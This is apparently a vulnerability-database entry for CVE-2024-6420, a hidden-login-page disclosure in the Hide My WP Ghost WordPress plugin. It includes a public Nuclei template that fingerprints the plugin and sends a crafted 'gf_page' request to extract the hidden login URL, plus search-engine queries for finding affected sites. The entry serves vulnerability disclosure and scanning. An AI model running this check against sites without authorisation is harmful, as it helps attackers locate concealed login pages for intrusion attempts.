CVE-2024-6420: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure

日期: 2025-08-01 | 影响软件: Hide My WP Ghost | POC: 已公开

漏洞描述

The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.

PoC代码[已公开]

id: CVE-2024-6420

info:
  name: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure
  author: jpg0mez
  severity: high
  description: |
    The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.
  remediation: Fixed in 5.2.02
  reference:
    - https://wpscan.com/vulnerability/dfda6577-81aa-4397-a2d6-1d736f9ebd44/
    - https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6420
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-6420
    epss-score: 0.30812
    epss-percentile: 0.96588
  metadata:
    verified: true
    max-request: 2
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hide-my-wp"
    publicwww-query: "/wp-content/plugins/hide-my-wp/"
  tags: cve,cve2024,bypass,wp,wp-plugin,wpscan,wordpress,hide-my-wp

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hide-my-wp")'
          - 'status_code == 200'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?gf_page=randomstring"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

      - type: word
        part: header
        words:
          - '%2F%3Fgf_page%3Drandomstring&reauth=1'

    extractors:
      - type: kval
        kval:
          - location
# digest: 4b0a00483046022100ae8043b37afd1c27774aaf5f3fa75221a028e59f8e62cf72947371fe22ec8fa8022100adacb7e331134e8be68562efc45c5e8d90896010c86a30e4f9f1a404f5cbe06f:922c64590222798bb761d5b6d8e72950